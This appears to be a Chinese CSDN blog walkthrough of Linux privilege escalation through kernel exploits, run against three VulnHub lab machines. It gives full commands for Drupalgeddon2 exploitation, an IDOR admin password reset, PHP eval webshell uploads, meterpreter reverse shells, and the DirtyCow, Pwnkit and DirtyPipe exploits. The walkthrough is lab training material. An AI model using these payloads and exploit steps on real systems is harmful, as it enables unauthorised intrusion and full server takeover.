Linux权限提升-内核溢出

Linux权限提升-内核溢出

➢ Web到Linux-内核溢出

#权限认知

系统⽤户:UID(0-999)

普通⽤户:UID(1000-*)

root⽤户:UID为0,拥有系统的完全控制权限

#信息收集

当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"

实例

└─# uname -a

image-20240831151625719

➢ Web到Linux-提权项目

#内核漏洞筛选:

MSF检测:(不好⽤)
run post/multi/recon/local_exploit_suggester

提权脚本:(只针对内核漏洞检测)
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
有py、pl、sh脚本推荐sh脚本

综合脚本:(含提权内核漏洞和配置不当⽐如suid等提取检测,但是不完整)
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

#应用场景:

获取到Web权限在Linux服务器上时进⾏的内核漏洞提权

#常见内核漏洞案例:

windows是⼟⾖系,linux是脏⽜系。

dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
⼤脏⽜ (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829 
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
...

➢ Web到Linux-内核溢出Dcow

1. 简要步骤

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利⽤:
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
3、内核提权:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root

2. 详细过程

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/

解压Lampiao.zip导⼊虚拟机即可

2.1. 信息收集:
# 探测⽬标ip及开发端⼝
└─# nmap -p1-65535 192.168.197.0/24
# 为了节省时间不进⾏全端⼝扫描
└─# nmap 192.168.197.0/24

发现⽬标http://192.168.197.146/同时也该ip也开放了1898端⼝http://192.168.197.146:1898/

image-20240831153854316

image-20240831153944788

发现该⽹址是Drupal编写,所以我们进⼊msf进⾏查找是否有漏洞利⽤模块

image-20240831154007678

用Tide指纹探测工具探测出

image-20240831155355990

该网站漏洞编码为cve-2018-7600

image-20240831155254724

2.2. Web漏洞利用:
# 查找drupal相关漏洞
search drupal
# 进⾏漏洞利⽤
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.197.146
set rport 1898
run

image-20240831155532371

成功获取到⽬标主机权限

image-20240831155804854

2.3. 内核提权:
# 上传内核漏洞检测脚本
upload /root/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/1.sh
# 进⼊shell,并执⾏提权辅助脚本
shell
cd /tmp
chmod +x 1.sh
./1.sh

image-20240831161857826

https://github.com/gbonacini/CVE-2016-5195

# 发现提权漏洞,上传提权利⽤程序dcow.cpp到服务器
exit
upload /root/dcow.cpp /tmp/dcow.cpp

# 进⾏提权操作
shell
cd /tmp

# 编译漏洞利⽤程序成功后会在当前⽬录⽣成dcow
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
ls

# 由于本身的终端问题,所以使⽤python终端
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow

# 漏洞利⽤成功后使⽤root⽤户密码dirtyCowFun进⾏登录即可
su root
whoami

成功利⽤漏洞修改root密码为dirtyCowFun

image-20240831163501732

成功登录root账号

image-20240831162953530

image-20240831163455468

➢Web到Linux-内核溢出Pwnkit

1. 简要步骤

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利⽤:
重置管理密码-上传1.phtml-反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt

2.详细步骤

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/

解压DarkHole.zip导⼊虚拟机即可。

2.1. 信息收集:
# 探测⽬标ip及开发端⼝
└─# nmap -p1-65535 192.168.139.0/24
# 为了节省时间不进⾏全端⼝扫描
└─# nmap 192.168.220.0/24

image-20240831165755471

image-20240831165840621

2.2. Web漏洞利⽤:
2.2.1. 重置管理密码

image-20240831170213644

image-20240831170229094

image-20240831170316024

使⽤注册⽤户登录,并重置密码,发现数据包中有id=2

image-20240831170503395

城市修改id=1进⾏管理员密码重置并使⽤admin/123456进⾏登录

image-20240831170551796

image-20240831170619244

2.2.2. 上传1.phtml

发现管理员后台有⼀个上传点,直接上传后缀为.phtml后缀的哥斯拉php⽊⻢。

image-20240831170756958

哥斯拉连接⼀句话⽊⻢

192.168.197.147/upload/1.phtml

image-20240831170933526

2.2.3. 反弹MSF

将内核检测脚本和综合检测脚本都上传到⽬标服务器的/tmp⽬录

image-20240831171204658

进⾏提权漏洞检测,发现哥斯拉上执⾏提权辅助脚本后容易卡死,⽽且出现结果后很乱

cd /tmp
chmod +x linpeas.sh
chmod +x linux-exploit-suggester.sh
./linpeas.sh

image-20240831171426850

所以我们使⽤msf的反弹shell⽐较好

# 启动msf
└─# msfdb run
# 监听本地6666端⼝等待php反弹后⻔连接
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run

进⼊哥斯拉反弹模块即可

image-20240831171647142

2.3. 内核提权
# 上传提权辅助脚本
upload /root/linux-exploit-suggester.sh /tmp/linux-exploit-suggester.sh
upload /root/linpeas.sh /tmp/linpeas.sh
# 进⼊shell
shell
cd /tmp
chmod +x linpeas.sh
chmod +x linux-exploit-suggester.sh
# 综合辅助脚本
./linpeas.sh
# 内核辅助脚本
./linux-exploit-suggester.sh

image-20240831171930076

MSF检测:(不好⽤)

# 退出shell
exit
# 保存会话到后台
background
# 使⽤msf⾃带检测模块
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

msf的该模块不太好⽤,没检测到,不如我们上述的两个项⽬。该模块类似windows⾃动提权的模块

image-20240831172050295

cve_2021_4034提权漏洞利⽤

# 查找漏洞利⽤模块
search cve_2021_4034
# 使⽤提权漏洞利⽤模块
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
run
# 在获取的shell中查看当前⽤户权限
getuid
shell
cd /root
cat root.txt

image-20240831172255040

➢Web到Linux-内核溢出-DirtyPipe

1.简要步骤

#Linux系统提权-Web&内核溢出-DirtyPipe
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利⽤
扫描发现-抓包分析-⽂件写⼊-反弹MSF
gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/d
irbuster/wordlists/directory-list-2.3-medium.txt
message=<?php eval($_POST["pass"]);?>&file=xd.php
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run
#补充
CVE-2023-0386
https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q

2.详细步骤

复现环境:https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

导⼊matrix-breakout-2-morpheus.ova到虚拟机即可

2.1. 信息收集:
# 探测⽬标ip及开发端⼝
└─# nmap -p1-65535 192.168.139.0/24
# 为了节省时间不进⾏全端⼝扫描
└─# nmap 192.168.220.0/24

image-20240831175658858

2.2. Web漏洞利用
2.2.1. 目录扫描

使⽤御剑也⾏,重点是字典⾥有

└─# apt install gobuster
└─# gobuster dir -u http://192.168.220.159 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

发现敏感⽂件

image-20240831180504215

2.2.2. 抓包分析

访问http://192.168.220.159/graffiti.php进⾏功能测试并抓包

image-20240831180812141

发现post部分有graffiti.txt访问测试下http://192.168.220.159/graffiti.txt

image-20240831180835262

发现1111是我们写⼊的内容,graffiti.txt是⽂件名

2.2.3. 文件写入

那么我们可以尝试写⼊⼀句话⽊⻢到php⽂件

# ⼀句话⽊⻢
<?php eval($_POST["pass"]);
# ⼀句话⽊⻢
message=%3C%3Fphp+eval%28%24_POST%5B%22pass%22%5D%29%3B&file=rsec.php

发送恶意代码,并使⽤哥斯拉连接http://192.168.220.159/rsec.php

image-20240831181058120

image-20240831181142129

2.2.4. 反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run

使⽤哥斯拉反弹到msf

image-20240831181410486

2.3. 内核提权
# 上传提权内核漏洞检测辅助脚本
upload /root/linux-exploit-suggester.sh /tmp/1.sh

# 进⼊shell进⾏提权漏洞检测
shell
cd /tmp
chmod +x 1.sh
./1.sh

image-20240831181933505

# 退出shell模式
exit
# 保存会话到后台
background
# 查找漏洞利⽤程序,如果msf没有再去别的地⽅查找
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
# 注意设置0.0.0.0容易失败
set lhost 192.168.197.135
run
getuid
shell
cat /root/FLAG.txt

image-20240831182427155

2.4. #补充

CVE-2023-0386

https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q

  • 17
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值